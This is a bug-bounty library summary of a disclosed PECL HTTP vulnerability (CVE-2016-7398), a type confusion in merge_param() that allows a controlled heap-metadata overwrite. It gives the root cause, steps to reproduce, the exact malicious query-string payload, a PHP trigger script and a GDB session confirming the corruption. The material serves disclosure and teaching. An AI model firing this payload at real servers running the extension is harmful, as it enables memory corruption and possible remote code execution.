# Heap overflow caused by type confusion vulnerability in merge_param()

Type confusion in PECL HTTP merge_param() passes a zend_string as HashTable to zend_hash_index_update(), letting a crafted query string overwrite heap metadata and likely achieve RCE.

- Payout: hidden
- Severity: low
- Program: Internet Bug Bounty
- Found by: rc0r
- Disclosed: 2017-05-30
- CVE: CVE-2016-7398
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/172411
- Library page: https://bugbountylibrary.com/r/h1%3A172411
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:low tech:php technique:fuzzing technique:source-review vuln:memory-corruption

**Target:** http\QueryString URL/query-string parser in php_http_params.c
**Root cause:** merge_param() calls zend_hash_index_update(Z_ARRVAL_P(ptr), ...) without verifying ptr is an array; when ptr is a zend_string, Z_ARRVAL_P reinterprets string bytes as a HashTable, so arData points to attacker-influenced heap memory.
**Steps:**
1. Build ext-http with --enable-raphf --enable-propro --with-http.
2. Craft query string with nested brackets and a numeric key, e.g. `[[[[...[]]]][[[...&%C0[]E[=&2[&%C0[]E[16706[*[` (bug73055.bin).
3. Instantiate `new http\QueryString(file_get_contents("bug73055.bin"))`.
4. merge_param() reaches line 511 with ptr of type IS_STRING (type_info=6).
5. zend_hash_index_update() writes p->h = hkey.h (0x4142 from '16706') and p->key = NULL over heap metadata at arData+idx.
6. Observe `free(): invalid pointer` / SIGABRT confirming heap corruption.
**How found:** Found via afl-fuzz/afl-utils fuzzing of the URL parsing functions; the crash led to code review of merge_param() and identification of the missing type check on ptr before Z_ARRVAL_P.
**Exploitation:** Attacker supplies a crafted query string (e.g. via HTTP request parsed by the extension). The numeric dimension '16706' is converted by sanitize_dimension() to 0x4142 and written as the bucket hash over adjacent heap metadata, giving a controlled 8-byte overwrite plus a NULL write; the report states this very likely allows remote code execution.
**Escalation:** Controlled heap metadata overwrite (hkey.h value + NULL) enables further heap grooming toward RCE.
**Insight:** When a zval pointer is reused across loop iterations in a merge/parse routine, check its type at every dereference site — Z_ARRVAL_P on a string silently reinterprets string bytes as a HashTable, turning a logic bug into a controlled heap write.

## Proof of concept (copied exactly from the original report)

**Malicious query string payload bug73055.bin**

```
[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]][[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[&%C0[]E[=&2[&%C0[]E[16706[*[
```

**PHP script triggering QueryString parse**

```
<?php
    $qs = new http\QueryString(file_get_contents("bug73055.bin"));
```

**GDB session proving heap overwrite**

```
gdb> b php_http_params.c:511
gdb> r http_querystring.php
    Breakpoint 1, merge_param (zdata=0x7fffffff9cf0, current_args=0x7fffffff9dd8, current_param=0x7fffffff9de0,
    params=<optimized out>) at php_http_params.c:511
    511				ptr = zend_hash_index_update(Z_ARRVAL_P(ptr), hkey.h, test_ptr);
gdb> p ptr.u1.type_info
    $1 = 6                      // <-- IS_STRING, incorrect type!
gdb> b zend_hash.c:811
gdb> c
    Breakpoint 2, _zend_hash_index_add_or_update_i (flag=1, pData=0x7ffff425c6a0, h=16706, ht=0xf53dc0) at
    zend_hash.c:811
    811		p->h = h;						// <- heap overflow
gdb> p &p->h
    $2 = (zend_ulong *) 0x1091f40
gdb> x/8gx 0x1091f20                    // heap before overflow
    0x1091f20:	0x000000006c72755c	0x0000000000000021
    0x1091f30:	0x00007ffff5addb48	0x0000000001092960
    0x1091f40:	0x0000000000000020	0x0000000000000031 <-- heap meta-data (prev-size, size)
    0x1091f50:	0x0000070600000001	0x800000017c9c614a
gdb> ni 2
gdb> x/8gx 0x1091f20                    // heap after overflow
    0x1091f20:	0x000000006c72755c	0x0000000000000021
    0x1091f30:	0x00007ffff5addb48	0x0000000001092960
    0x1091f40:	0x0000000000004142	0x0000000000000000 <-- heap meta-data overwritten*
```

